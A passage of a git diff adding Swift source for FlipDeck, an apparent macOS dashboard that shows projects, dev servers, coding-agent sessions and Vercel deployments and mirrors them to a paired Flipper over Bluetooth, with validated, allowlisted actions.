model.acknowledge(event.id) }.controlSize(.small) + } + } + } + .padding(.vertical, 2) + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/Entry.swift b/mac/Sources/FlipDeckApp/Entry.swift new file mode 100644 index 0000000..62bf4a0 --- /dev/null +++ b/mac/Sources/FlipDeckApp/Entry.swift @@ -0,0 +1,59 @@ +#if os(macOS) +import AppKit +import SwiftUI + +@main +struct FlipDeckMain: App { + @NSApplicationDelegateAdaptor(AppDelegate.self) private var appDelegate + @StateObject private var model = AppModel() + + var body: some Scene { + WindowGroup("FlipDeck") { + RootView() + .environmentObject(model) + .frame(minWidth: 880, minHeight: 560) + .onAppear { appDelegate.model = model } + } + .windowToolbarStyle(.unifiedCompact) + .commands { + CommandGroup(after: .toolbar) { + Button("Refresh") { model.refresh() } + .keyboardShortcut("r") + } + CommandMenu("Go") { + ForEach(Array(SidebarItem.allCases.enumerated()), id: \.element) { index, section in + Button(section.title) { model.section = section } + .keyboardShortcut(KeyEquivalent(Character(String(index + 1))), modifiers: .command) + } + } + } + } +} + +final class AppDelegate: NSObject, NSApplicationDelegate { + weak var model: AppModel? + + func applicationDidFinishLaunching(_ notification: Notification) { + // Needed when launched as a bare SwiftPM executable; harmless in a bundle. + NSApp.setActivationPolicy(.regular) + NSApp.activate(ignoringOtherApps: true) + } + + func applicationShouldTerminate(_ sender: NSApplication) -> NSApplication.TerminateReply { + guard let model else { return .terminateNow } + // Say goodbye to the Flipper and flush the activity log first. + Task { @MainActor in + await model.shutdown() + sender.reply(toApplicationShouldTerminate: true) + } + return .terminateLater + } +} +#else +@main +enum FlipDeckMain { + static func main() { + print("The FlipDeck app requires macOS. Use flipdeck-headless on other platforms.") + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/FlipperAndSettings.swift b/mac/Sources/FlipDeckApp/FlipperAndSettings.swift new file mode 100644 index 0000000..aa66eee --- /dev/null +++ b/mac/Sources/FlipDeckApp/FlipperAndSettings.swift @@ -0,0 +1,207 @@ +#if os(macOS) +import AppKit +import SwiftUI +import FlipDeckCore +import FlipDeckMacPlatform + +// MARK: - Flipper + +extension FlipperLinkState { + var readyVersion: String? { + if case .ready(let version) = self { return version } + return nil + } + + var incompatibleProtocol: Int? { + if case .incompatible(let proto) = self { return proto } + return nil + } +} + +struct FlipperView: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + let status = model.snapshot?.flipper ?? FlipperLinkStatus() + let settings = model.snapshot?.settings ?? FlipDeckSettings() + Form { + Section { + LabeledContent("Status") { + let described = FlipperStatusFooter.describe(status) + HStack(spacing: 6) { StatusDot(color: described.0); Text(described.1) } + } + LabeledContent("Bluetooth", value: status.transport.label) + if let version = status.link.readyVersion { + LabeledContent("FlipDeck on Flipper", value: version) + } + if let proto = status.link.incompatibleProtocol { + LabeledContent("Protocol") { + Text("Flipper speaks FDP/\(proto), this Mac speaks FDP/\(FDP.protocolVersion). Install matching versions.").foregroundStyle(.orange) + } + } + if let last = status.lastFrameAt { + LabeledContent("Last message", value: dayFormatter.string(from: last)) + } + LabeledContent("Snapshot generation", value: "\(status.committedGeneration)") + LabeledContent("Messages", value: "\(status.framesReceived) received · \(status.framesDropped) rejected · \(status.actionsHandled) actions") + } + + Section("Connection") { + Toggle("Connect to Flipper", isOn: Binding( + get: { settings.flipperEnabled }, + set: { value in model.updateSettings { $0.flipperEnabled = value } } + )) + LabeledContent("Paired Flipper") { + HStack { + Text(settings.flipperPeripheralID == nil ? "None yet" : (status.peerName ?? "Remembered")) + Spacer() + if settings.flipperPeripheralID != nil { + Button("Forget") { model.forgetFlipper() } + } + } + } + } + + Section("First-time setup") { + VStack(alignment: .leading, spacing: 6) { + Text("1. Install flipdeck.fap on the Flipper (Apps → Tools) and open it.") + Text("2. Keep the Flipper near this Mac. FlipDeck finds it as \u{201C}FlipDeck \u{201D}.") + Text("3. On first connection macOS asks for a PIN. Enter the PIN shown on the Flipper.") + Text("The Flipper only mirrors state and can only request the actions listed on its screen. It can never run commands on this Mac.") + .foregroundStyle(.secondary) + } + .font(.callout) + } + } + .formStyle(.grouped) + } +} + +// MARK: - Settings + +struct SettingsView: View { + @EnvironmentObject private var model: AppModel + @State private var tokenDraft = "" + + var body: some View { + let settings = model.snapshot?.settings ?? FlipDeckSettings() + let vercel = model.state.integrations.first { $0.id == "vercel" } + Form { + Section { + ForEach(settings.projectRoots, id: \.self) { root in + HStack { + Image(systemName: "folder") + Text(root).font(.body.monospaced()) + Spacer() + Button(role: .destructive) { + model.updateSettings { $0.projectRoots.removeAll { $0 == root } } + } label: { Image(systemName: "minus.circle") } + .buttonStyle(.borderless) + .help("Stop scanning this folder") + } + } + Button("Add Folder…") { addFolder() } + } header: { + Text("Project folders") + } footer: { + Text("Scanned for Git repositories up to three levels deep. Dependency and build folders (node_modules, .build, dist, …) are skipped.") + } + + Section("Open on Mac") { + Picker("Editor", selection: Binding( + get: { settings.editorBundleID ?? "" }, + set: { value in model.updateSettings { $0.editorBundleID = value.isEmpty ? nil : value } } + )) { + Text("Finder").tag("") + ForEach(model.editors) { Text($0.name).tag($0.bundleID) } + } + } + + Section { + LabeledContent("Status") { + Text(Self.describe(vercel, hasToken: model.snapshot?.hasVercelToken ?? false)) + } + HStack { + SecureField("Vercel access token", text: $tokenDraft) + Button("Save") { + model.setVercelToken(tokenDraft) + tokenDraft = "" + } + .disabled(tokenDraft.trimmingCharacters(in: .whitespaces).isEmpty) + if model.snapshot?.hasVercelToken == true { + Button("Remove", role: .destructive) { model.setVercelToken(nil) } + } + } + } header: { + Text("Vercel") + } footer: { + Text("Create a token at vercel.com/account/tokens. It is stored in your Keychain. Projects are matched through the .vercel/project.json that `vercel link` creates.") + } + + Section("Alerts") { + Toggle("Mac notifications", isOn: Binding( + get: { settings.macNotifications }, + set: { value in model.updateSettings { $0.macNotifications = value } } + )) + Toggle("Flipper alerts", isOn: Binding( + get: { settings.flipperAlerts }, + set: { value in model.updateSettings { $0.flipperAlerts = value } } + )) + Toggle("Allow stopping servers from the Flipper", isOn: Binding( + get: { settings.allowDestructiveFromFlipper }, + set: { value in model.updateSettings { $0.allowDestructiveFromFlipper = value } } + )) + DisclosureGroup("Routing rules") { + Grid(alignment: .leading, horizontalSpacing: 14, verticalSpacing: 3) { + ForEach(Self.rules, id: \.0.rawValue) { rule in + GridRow { + Text(rule.0.rawValue).font(.callout.monospaced()) + Text(Self.describe(rule.1)).font(.callout).foregroundStyle(.secondary) + } + } + } + } + } + } + .formStyle(.grouped) + } + + static let rules = NotificationRules.defaultTable.sorted { $0.key.rawValue < $1.key.rawValue }.map { ($0.key, $0.value) } + + static func describe(_ route: NotificationRoute) -> String { + var parts = ["Activity"] + if route.contains(.flipper) { parts.append("Flipper") } + if route.contains(.mac) { parts.append("Mac") } + return parts.joined(separator: " + ") + } + + static func describe(_ status: IntegrationStatus?, hasToken: Bool) -> String { + guard hasToken else { return "No token" } + guard let status else { return "Checking…" } + let linked = "\(status.linkedProjects) linked project\(status.linkedProjects == 1 ? "" : "s")" + switch status.health { + case .notConfigured: return "No token" + case .ok: return "Connected · \(linked)" + (status.lastSync.map { " · synced \(clockFormatter.string(from: $0))" } ?? "") + case .unauthorized: return "Token rejected by Vercel" + case .error(let message): return "Error: \(message)" + } + } + + private func addFolder() { + let panel = NSOpenPanel() + panel.canChooseDirectories = true + panel.canChooseFiles = false + panel.allowsMultipleSelection = true + panel.prompt = "Add" + guard panel.runModal() == .OK else { return } + let home = NSHomeDirectory() + let paths = panel.urls.map { url -> String in + let path = url.path + return path.hasPrefix(home) ? "~" + String(path.dropFirst(home.count)) : path + } + model.updateSettings { settings in + for path in paths where !settings.projectRoots.contains(path) { settings.projectRoots.append(path) } + } + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/OverviewView.swift b/mac/Sources/FlipDeckApp/OverviewView.swift new file mode 100644 index 0000000..23c7bbf --- /dev/null +++ b/mac/Sources/FlipDeckApp/OverviewView.swift @@ -0,0 +1,150 @@ +#if os(macOS) +import SwiftUI +import FlipDeckCore + +struct OverviewView: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + if let snapshot = model.snapshot { + ScrollView { + VStack(alignment: .leading, spacing: 14) { + if !snapshot.attention.isEmpty { + AttentionList(items: snapshot.attention) + } + MachineStrip(machine: snapshot.state.machine) + ActiveList(state: snapshot.state) + SectionHeader(title: "Recent", detail: snapshot.events.isEmpty ? nil : "\(snapshot.events.count) events") + if snapshot.events.isEmpty { + Text("Nothing has happened yet. Events appear here as servers start, agents finish, commits land, and deployments complete.") + .foregroundStyle(.secondary) + } else { + ForEach(snapshot.events.prefix(8)) { event in + EventRow(event: event) + Divider() + } + Button("Show all activity") { model.section = .activity } + .buttonStyle(.link) + } + } + .padding(20) + .frame(maxWidth: 980, alignment: .leading) + } + } else { + ProgressView("Scanning…").frame(maxWidth: .infinity, maxHeight: .infinity) + } + } +} + +struct AttentionList: View { + @EnvironmentObject private var model: AppModel + let items: [AttentionItem] + + var body: some View { + SectionHeader(title: "Needs attention", detail: "\(items.count)") + ForEach(items) { item in + HStack(spacing: 10) { + SeverityIcon(severity: item.severity) + Text(item.title).fontWeight(.semibold) + if let project = item.projectName { Text(project).foregroundStyle(.secondary) } + Spacer() + ActionButtons(actions: item.actions) + if let eventID = item.eventID { + Button("Dismiss") { model.acknowledge(eventID) }.controlSize(.small) + } + } + .padding(.vertical, 4) + Divider() + } + } +} + +struct MachineStrip: View { + let machine: MachineStatus? + + var body: some View { + SectionHeader(title: "Mac", detail: machine?.hostName) + if let machine { + HStack(alignment: .top, spacing: 32) { + Metric(label: "CPU", value: machine.cpuUsage.map { "\(Int(($0 * 100).rounded()))%" } ?? "—") + Metric(label: "Memory", value: memoryText(machine)) + if let battery = machine.battery { + Metric(label: "Battery", value: "\(battery.percent)%" + (battery.charging ? " ⚡︎" : battery.onAC ? " (AC)" : "")) + } + Metric(label: "Network", value: machine.networkReachable.map { $0 ? (machine.networkInterface ?? "Online") : "Offline" } ?? "—") + Metric(label: "Uptime", value: elapsed(since: machine.bootTime)) + } + } else { + Text("Collecting…").foregroundStyle(.secondary) + } + } + + private func memoryText(_ machine: MachineStatus) -> String { + guard let used = machine.memoryUsedBytes, let total = machine.memoryTotalBytes else { return "—" } + return "\(byteString(used)) / \(byteString(total))" + } +} + +struct Metric: View { + let label: String + let value: String + + var body: some View { + VStack(alignment: .leading, spacing: 2) { + Text(label).font(.caption).foregroundStyle(.secondary) + Text(value).font(.title3.monospacedDigit()) + } + } +} + +struct ActiveList: View { + @EnvironmentObject private var model: AppModel + let state: EngineState + + var body: some View { + let count = state.servers.count + state.agents.count + state.processes.count + SectionHeader(title: "Active", detail: count == 0 ? nil : "\(count)") + if count == 0 { + Text(state.observed.processes ? "No dev servers, agents, builds or test runs detected." : "Scanning processes…") + .foregroundStyle(.secondary) + } + ForEach(state.servers) { server in + ActiveRow(symbol: "server.rack", color: .green, title: server.displayName, + detail: "localhost:\(server.primaryPort)", project: model.projectName(server.projectID), + since: server.startedAt, actions: ActionCatalog.actions(for: server)) + } + ForEach(state.agents) { agent in + ActiveRow(symbol: "sparkles", color: .purple, title: agent.providerName, detail: "running", + project: model.projectName(agent.projectID) ?? agent.cwd, since: agent.startedAt, actions: []) + } + ForEach(state.processes) { process in + ActiveRow(symbol: process.kind == .testRunner ? "checklist" : "hammer", color: .blue, title: process.label, + detail: process.kind == .testRunner ? "tests" : process.kind.rawValue, project: model.projectName(process.projectID), + since: process.startedAt, actions: []) + } + } +} + +struct ActiveRow: View { + let symbol: String + let color: Color + let title: String + let detail: String + let project: String? + let since: Date? + let actions: [FDAction] + + var body: some View { + HStack(spacing: 10) { + Image(systemName: symbol).foregroundStyle(color).frame(width: 16) + Text(title).fontWeight(.medium) + Text(detail).font(.callout.monospaced()).foregroundStyle(.secondary) + if let project { Text(project).foregroundStyle(.secondary) } + Spacer() + Text(elapsed(since: since)).font(.callout.monospacedDigit()).foregroundStyle(.secondary) + ActionButtons(actions: actions, compact: true) + } + .padding(.vertical, 2) + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/ProjectsView.swift b/mac/Sources/FlipDeckApp/ProjectsView.swift new file mode 100644 index 0000000..9f5256e --- /dev/null +++ b/mac/Sources/FlipDeckApp/ProjectsView.swift @@ -0,0 +1,192 @@ +#if os(macOS) +import SwiftUI +import FlipDeckCore + +struct ProjectsView: View { + @EnvironmentObject private var model: AppModel + @State private var search = "" + + var body: some View { + let state = model.state + let projects = state.projects + .filter { search.isEmpty || $0.name.localizedCaseInsensitiveContains(search) || $0.path.localizedCaseInsensitiveContains(search) } + .sorted { $0.name.localizedCaseInsensitiveCompare($1.name) == .orderedAscending } + + if state.projects.isEmpty { + EmptyState( + title: model.snapshot?.settings.projectRoots.isEmpty ?? true ? "No project folders" : "No projects found", + symbol: "folder.badge.questionmark", + message: "Add the folders where you keep code (for example ~/Developer) in Settings. FlipDeck finds Git repositories up to three levels deep." + ) + .toolbar { Button("Open Settings") { model.section = .settings } } + } else { + HSplitView { + List(selection: $model.selectedProjectID) { + ForEach(projects) { project in + ProjectRow(project: project, state: state).tag(project.id) + } + } + .frame(minWidth: 240, idealWidth: 290, maxWidth: 380) + .searchable(text: $search, placement: .sidebar, prompt: "Filter projects") + + Group { + if let project = state.project(id: model.selectedProjectID) { + ProjectDetail(project: project, state: state) + } else { + EmptyState(title: "Select a project", symbol: "sidebar.left", message: "\(state.projects.count) projects discovered.") + } + } + .frame(minWidth: 420, maxWidth: .infinity, maxHeight: .infinity) + } + } + } +} + +struct ProjectRow: View { + let project: Project + let state: EngineState + + var body: some View { + HStack(spacing: 8) { + VStack(alignment: .leading, spacing: 1) { + Text(project.name).fontWeight(.medium) + Text(project.git?.branch ?? (project.isGitRepository ? "detached" : "not a Git repo")) + .font(.caption.monospaced()) + .foregroundStyle(.secondary) + } + Spacer() + if !state.servers(for: project.id).isEmpty { + Image(systemName: "server.rack").foregroundStyle(.green).help("Dev server running") + } + if !state.agents(for: project.id).isEmpty { + Image(systemName: "sparkles").foregroundStyle(.purple).help("Agent running") + } + if let deployment = state.latestDeployment(for: project.id) { + StatusDot(color: deployment.state.color).help("Deployment: \(deployment.state.label)") + } + if project.git?.isDirty == true { + Text("M").font(.caption.weight(.bold)).foregroundStyle(.orange).help("Uncommitted changes") + } + } + .padding(.vertical, 2) + } +} + +struct ProjectDetail: View { + @EnvironmentObject private var model: AppModel + let project: Project + let state: EngineState + + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 12) { + VStack(alignment: .leading, spacing: 2) { + Text(project.name).font(.title2.weight(.semibold)) + Text(project.path).font(.callout.monospaced()).foregroundStyle(.secondary).textSelection(.enabled) + } + ActionButtons(actions: ActionCatalog.actions(for: project)) + + SectionHeader(title: "Git") + gitSection + + SectionHeader(title: "Stack") + Grid(alignment: .leading, horizontalSpacing: 16, verticalSpacing: 4) { + row("Framework", project.runtime.framework ?? "—") + row("Runtime", project.runtime.runtime ?? "—") + row("Package manager", project.runtime.packageManager ?? "—") + } + + let servers = state.servers(for: project.id) + SectionHeader(title: "Dev servers", detail: servers.isEmpty ? nil : "\(servers.count)") + if servers.isEmpty { + Text("None running").foregroundStyle(.secondary) + } + ForEach(servers) { server in + ActiveRow(symbol: "server.rack", color: .green, title: server.displayName, + detail: server.ports.map { ":\($0)" }.joined(separator: " "), project: nil, + since: server.startedAt, actions: ActionCatalog.actions(for: server)) + } + + let agents = state.agents(for: project.id) + let processes = state.processes.filter { $0.projectID == project.id } + if !agents.isEmpty || !processes.isEmpty { + SectionHeader(title: "Active") + ForEach(agents) { agent in + ActiveRow(symbol: "sparkles", color: .purple, title: agent.providerName, detail: "pid \(agent.pid)", project: nil, since: agent.startedAt, actions: []) + } + ForEach(processes) { process in + ActiveRow(symbol: "hammer", color: .blue, title: process.label, detail: "pid \(process.pid)", project: nil, since: process.startedAt, actions: []) + } + } + + SectionHeader(title: "Deployment") + deploymentSection + } + .padding(20) + .frame(maxWidth: .infinity, alignment: .leading) + } + } + + @ViewBuilder + private var gitSection: some View { + if let git = project.git { + Grid(alignment: .leading, horizontalSpacing: 16, verticalSpacing: 4) { + row("Branch", git.branch ?? "detached HEAD", mono: true) + row("Working tree", git.isDirty + ? "\(git.changedCount) changed, \(git.untrackedCount) untracked" + (git.conflictedCount > 0 ? ", \(git.conflictedCount) conflicted" : "") + : "Clean") + if let upstream = git.upstream { + let ahead = git.ahead ?? 0 + let behind = git.behind ?? 0 + row("Remote", ahead == 0 && behind == 0 ? "Up to date with \(upstream)" : "↑\(ahead) ↓\(behind) vs \(upstream)") + } else { + row("Remote", "No upstream branch") + } + if let commit = git.lastCommit { + row("Last commit", "\(commit.subject) · \(dayFormatter.string(from: commit.date))") + } + if let remote = git.remoteURL { row("Origin", remote, mono: true) } + } + } else if let error = project.gitError { + Text("Couldn't read Git state: \(error)").foregroundStyle(.red) + } else if !project.isGitRepository { + Text("Not a Git repository").foregroundStyle(.secondary) + } else { + Text("Reading…").foregroundStyle(.secondary) + } + } + + @ViewBuilder + private var deploymentSection: some View { + if project.vercel == nil { + Text("Not linked. Run `vercel link` in this project to connect it to Vercel.").foregroundStyle(.secondary) + } else if model.snapshot?.hasVercelToken != true { + Text("Linked to Vercel. Add a Vercel token in Settings to track deployments.").foregroundStyle(.secondary) + } else if let deployments = state.deployments[project.id], !deployments.isEmpty { + ForEach(deployments.prefix(5)) { deployment in + HStack(spacing: 10) { + StatusDot(color: deployment.state.color) + Text(deployment.state.label).fontWeight(.medium).frame(width: 70, alignment: .leading) + Text(deployment.targetLabel).foregroundStyle(.secondary).frame(width: 80, alignment: .leading) + Text(deployment.commitMessage ?? deployment.branch ?? deployment.id).lineLimit(1) + Spacer() + Text(dayFormatter.string(from: deployment.createdAt)).font(.callout).foregroundStyle(.secondary) + ActionButtons(actions: ActionCatalog.actions(for: deployment), compact: true) + } + if let error = deployment.errorMessage, deployment.state == .error { + Text(error).font(.callout).foregroundStyle(.red).padding(.leading, 17) + } + } + } else { + Text("No deployments yet.").foregroundStyle(.secondary) + } + } + + private func row(_ label: String, _ value: String, mono: Bool = false) -> some View { + GridRow { + Text(label).foregroundStyle(.secondary) + Text(value).font(mono ? .body.monospaced() : .body).textSelection(.enabled) + } + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/RootView.swift b/mac/Sources/FlipDeckApp/RootView.swift new file mode 100644 index 0000000..75ede38 --- /dev/null +++ b/mac/Sources/FlipDeckApp/RootView.swift @@ -0,0 +1,87 @@ +#if os(macOS) +import SwiftUI +import FlipDeckCore + +struct RootView: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + NavigationSplitView { + List(selection: Binding(get: { model.section }, set: { if let value = $0 { model.section = value } })) { + ForEach(SidebarItem.allCases) { item in + Label(item.title, systemImage: item.symbol) + .badge(badge(for: item)) + .tag(item) + } + } + .navigationSplitViewColumnWidth(min: 170, ideal: 190, max: 240) + .safeAreaInset(edge: .bottom) { FlipperStatusFooter().padding(10) } + } detail: { + Group { + switch model.section { + case .overview: OverviewView() + case .projects: ProjectsView() + case .agents: AgentsView() + case .services: ServicesView() + case .activity: ActivityView() + case .flipper: FlipperView() + case .settings: SettingsView() + } + } + .navigationTitle(model.section.title) + .toolbar { + ToolbarItem(placement: .status) { + if let toast = model.toast { + Text(toast).font(.callout).foregroundStyle(.secondary).transition(.opacity) + } + } + ToolbarItem(placement: .primaryAction) { + Button { model.refresh() } label: { Label("Refresh", systemImage: "arrow.clockwise") } + .help("Rescan projects, processes and integrations (⌘R)") + } + } + } + } + + private func badge(for item: SidebarItem) -> Int { + guard let snapshot = model.snapshot else { return 0 } + switch item { + case .overview: return snapshot.attention.count + case .agents: return snapshot.state.agents.count + case .services: return snapshot.state.servers.count + default: return 0 + } + } +} + +struct FlipperStatusFooter: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + let described = Self.describe(model.snapshot?.flipper ?? FlipperLinkStatus()) + Button { model.section = .flipper } label: { + HStack(spacing: 6) { + StatusDot(color: described.0) + Text(described.1).font(.caption).foregroundStyle(.secondary).lineLimit(1) + Spacer() + } + } + .buttonStyle(.plain) + } + + static func describe(_ status: FlipperLinkStatus) -> (Color, String) { + switch status.link { + case .ready: return (.green, status.peerName ?? "Flipper connected") + case .handshaking: return (.yellow, "Connecting…") + case .incompatible: return (.orange, "Flipper app needs update") + case .disconnected: + switch status.transport { + case .unavailable: return (.red, "Bluetooth unavailable") + case .scanning: return (.secondary, "Looking for Flipper") + case .connecting: return (.yellow, "Connecting…") + default: return (.secondary, "Flipper not connected") + } + } + } +} +#endif diff --git a/mac/Sources/FlipDeckCore/Actions/ActionCatalog.swift b/mac/Sources/FlipDeckCore/Actions/ActionCatalog.swift new file mode 100644 index 0000000..7513fe6 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Actions/ActionCatalog.swift @@ -0,0 +1,33 @@ +import Foundation + +/// Decides which actions are offered for each entity. Only actions that can +/// actually be carried out are listed (e.g. no "Open logs" without a logs URL). +public enum ActionCatalog { + public static func actions(for project: Project) -> [FDAction] { + [ + FDAction(kind: .openOnMac, target: .project(path: project.path), source: .system), + FDAction(kind: .openTerminal, target: .project(path: project.path), source: .system), + FDAction(kind: .openInFinder, target: .project(path: project.path), source: .system), + ] + } + + public static func actions(for server: DevServer) -> [FDAction] { + let process = ActionTarget.process(pid: server.pid, startedAt: server.startedAt, port: server.primaryPort) + return [ + FDAction(kind: .openLocalhost, target: process, source: .process), + FDAction(kind: .copyURL, target: .url(server.url), source: .process), + FDAction(kind: .stopServer, target: process, source: .process), + ] + } + + public static func actions(for deployment: Deployment) -> [FDAction] { + var actions: [FDAction] = [] + if let inspector = deployment.inspectorURL { + actions.append(FDAction(kind: .openLogs, target: .url(inspector), source: .vercel)) + } + if deployment.state == .ready, let url = deployment.url { + actions.append(FDAction(kind: .openDeployment, target: .url(url), source: .vercel)) + } + return actions + } +} diff --git a/mac/Sources/FlipDeckCore/Actions/ActionExecutor.swift b/mac/Sources/FlipDeckCore/Actions/ActionExecutor.swift new file mode 100644 index 0000000..9ff5361 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Actions/ActionExecutor.swift @@ -0,0 +1,135 @@ +import Foundation + +/// OS side effects. The macOS implementation uses NSWorkspace/AppKit; tests +/// use a recorder. Nothing here takes free-form commands. +public protocol SystemEffects: Sendable { + func openURL(_ url: URL) async throws + /// Opens a directory in the configured editor (bundle id) or Finder. + /// Returns the name of the application used. + func openProject(at path: String, editorBundleID: String?) async throws -> String + func openTerminal(at path: String) async throws + func revealInFinder(_ path: String) async throws + func copyToClipboard(_ string: String) async + /// Sends SIGTERM (never SIGKILL) to a process owned by the current user. + func terminate(pid: Int32) throws +} + +public enum ActionOrigin: String, Sendable { + case mac + case flipper +} + +public struct ActionPolicy: Sendable { + public var allowDestructiveFromFlipper: Bool + public var editorBundleID: String? + + public init(allowDestructiveFromFlipper: Bool = true, editorBundleID: String? = nil) { + self.allowDestructiveFromFlipper = allowDestructiveFromFlipper + self.editorBundleID = editorBundleID + } +} + +/// Validates an action against *current* state and performs it. An action +/// built a minute ago may no longer be valid (server stopped, PID reused); +/// the executor re-checks everything instead of trusting the action. +public struct ActionExecutor: Sendable { + let effects: SystemEffects + let fileManager: FileManager + + public init(effects: SystemEffects, fileManager: FileManager = .default) { + self.effects = effects + self.fileManager = fileManager + } + + public func perform(_ action: FDAction, origin: ActionOrigin, state: EngineState, policy: ActionPolicy) async -> ActionResult { + if origin == .flipper { + guard action.kind.availableRemotely else { return .failure("Not available from Flipper") } + if action.destructive && !policy.allowDestructiveFromFlipper { + return .failure("Disabled in Mac settings") + } + } + do { + switch (action.kind, action.target) { + case (.openOnMac, .project(let path)): + try requireProject(path, in: state) + let app = try await effects.openProject(at: path, editorBundleID: policy.editorBundleID) + return .success("Opened in \(app)") + + case (.openTerminal, .project(let path)): + try requireProject(path, in: state) + try await effects.openTerminal(at: path) + return .success("Opened Terminal") + + case (.openInFinder, .project(let path)): + try requireProject(path, in: state) + try await effects.revealInFinder(path) + return .success("Revealed in Finder") + + case (.openLocalhost, .process(let pid, let startedAt, let port)): + let server = try requireServer(pid: pid, startedAt: startedAt, in: state) + let chosen = port.flatMap { server.ports.contains($0) ? $0 : nil } ?? server.primaryPort + try await effects.openURL(URL(string: "http://localhost:\(chosen)")!) + return .success("Opened localhost:\(chosen)") + + case (.stopServer, .process(let pid, let startedAt, _)): + let server = try requireServer(pid: pid, startedAt: startedAt, in: state) + try effects.terminate(pid: server.pid) + return .success("Stopping \(server.displayName) (pid \(server.pid))") + + case (.copyURL, .url(let string)): + guard knownURLs(in: state).contains(string) else { throw ActionFailure("URL is no longer current") } + await effects.copyToClipboard(string) + return .success("Copied \(string)") + + case (.openLogs, .url(let string)), (.openDeployment, .url(let string)): + guard knownURLs(in: state).contains(string), let url = URL(string: string), url.scheme == "https" else { + throw ActionFailure("Link is no longer current") + } + try await effects.openURL(url) + return .success(action.kind == .openLogs ? "Opened logs" : "Opened deployment") + + default: + return .failure("Unsupported action") + } + } catch let failure as ActionFailure { + return .failure(failure.message) + } catch { + return .failure("Failed: \(error.localizedDescription)") + } + } + + struct ActionFailure: Error { + let message: String + init(_ message: String) { self.message = message } + } + + func requireProject(_ path: String, in state: EngineState) throws { + var isDirectory: ObjCBool = false + guard state.projects.contains(where: { $0.path == path }), + fileManager.fileExists(atPath: path, isDirectory: &isDirectory), isDirectory.boolValue else { + throw ActionFailure("Project not found") + } + } + + func requireServer(pid: Int32, startedAt: Date?, in state: EngineState) throws -> DevServer { + guard let server = state.servers.first(where: { $0.pid == pid }) else { + throw ActionFailure("Server is no longer running") + } + // PID reuse guard: the process must be the one the action was made for. + if let expected = startedAt, let actual = server.startedAt, abs(expected.timeIntervalSince(actual)) > 1 { + throw ActionFailure("Server changed; refresh and retry") + } + return server + } + + func knownURLs(in state: EngineState) -> Set { + var urls = Set(state.servers.map(\.url)) + for deployments in state.deployments.values { + for deployment in deployments { + if let url = deployment.url { urls.insert(url) } + if let inspector = deployment.inspectorURL { urls.insert(inspector) } + } + } + return urls + } +} diff --git a/mac/Sources/FlipDeckCore/Agents/AgentProvider.swift b/mac/Sources/FlipDeckCore/Agents/AgentProvider.swift new file mode 100644 index 0000000..7e1f50f --- /dev/null +++ b/mac/Sources/FlipDeckCore/Agents/AgentProvider.swift @@ -0,0 +1,84 @@ +import Foundation + +/// What a provider can actually determine. The UI shows unsupported +/// capabilities as "not available" instead of inventing state. +public struct AgentCapabilities: OptionSet, Codable, Hashable, Sendable { + public let rawValue: Int + public init(rawValue: Int) { self.rawValue = rawValue } + + public static let running = AgentCapabilities(rawValue: 1 << 0) + public static let elapsedTime = AgentCapabilities(rawValue: 1 << 1) + public static let workingDirectory = AgentCapabilities(rawValue: 1 << 2) + /// Distinguish completed from failed. Needs a cooperating source (e.g. + /// hooks); process observation alone can't provide it. + public static let exitStatus = AgentCapabilities(rawValue: 1 << 3) + /// Detect "waiting for user input". Same constraint as `exitStatus`. + public static let waitingState = AgentCapabilities(rawValue: 1 << 4) + + public static let processObservation: AgentCapabilities = [.running, .elapsedTime, .workingDirectory] +} + +public protocol AgentProvider: Sendable { + var id: String { get } + var displayName: String { get } + var capabilities: AgentCapabilities { get } + /// Returns the processes that are *sessions* of this agent (outermost + /// process per session; helpers and child processes excluded). + func sessions(in records: [ProcessRecord], currentUID: UInt32) -> [ProcessRecord] +} + +/// Shared logic for agents detected from the process table. +public struct ProcessAgentProvider: AgentProvider { + public let id: String + public let displayName: String + public let capabilities: AgentCapabilities = .processObservation + let matcher: @Sendable (ProcessRecord) -> Bool + + public init(id: String, displayName: String, matcher: @escaping @Sendable (ProcessRecord) -> Bool) { + self.id = id + self.displayName = displayName + self.matcher = matcher + } + + public func sessions(in records: [ProcessRecord], currentUID: UInt32) -> [ProcessRecord] { + let matching = records.filter { $0.uid == currentUID && matcher($0) } + let matchingPIDs = Set(matching.map(\.pid)) + let byPID = Dictionary(records.map { ($0.pid, $0) }, uniquingKeysWith: { a, _ in a }) + // Keep only the outermost process: a launcher (`node cli.js`) that + // spawns the native binary is one session, not two. + return matching.filter { record in + var parent = record.ppid + var hops = 0 + while parent > 1, hops < 16 { + if matchingPIDs.contains(parent) { return false } + guard let next = byPID[parent] else { break } + parent = next.ppid + hops += 1 + } + return true + } + } +} + +public enum AgentProviders { + static func isAppBundle(_ record: ProcessRecord) -> Bool { + record.args.contains(".app/Contents/") + } + + public static let claudeCode = ProcessAgentProvider(id: "claude-code", displayName: "Claude Code") { record in + guard !isAppBundle(record) else { return false } + let args = record.args + if args.contains("@anthropic-ai/claude-code") { return true } + if let first = record.tokens.first, first.contains("/claude/versions/") { return true } + // Case-sensitive: the Claude desktop app's processes are "Claude". + return record.executableName == "claude" + } + + public static let codex = ProcessAgentProvider(id: "codex", displayName: "Codex") { record in + guard !isAppBundle(record) else { return false } + if record.args.contains("@openai/codex") { return true } + return record.executableName == "codex" + } + + public static let all: [any AgentProvider] = [claudeCode, codex] +} diff --git a/mac/Sources/FlipDeckCore/Engine/FlipDeckEngine.swift b/mac/Sources/FlipDeckCore/Engine/FlipDeckEngine.swift new file mode 100644 index 0000000..8438602 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Engine/FlipDeckEngine.swift @@ -0,0 +1,529 @@ +import Foundation + +public struct EngineDependencies: Sendable { + public var runner: CommandRunner + public var http: HTTPClient + public var secrets: SecretStore + public var effects: SystemEffects + public var metrics: MachineMetricsProvider + public var transport: FlipperTransport? + public var notifier: MacNotifier? + public var logSink: LogSink + public var settingsStore: SettingsStore + public var activityLog: ActivityLog + public var agentProviders: [any AgentProvider] + public var hostName: String + + public init( + runner: CommandRunner = ProcessCommandRunner(), + http: 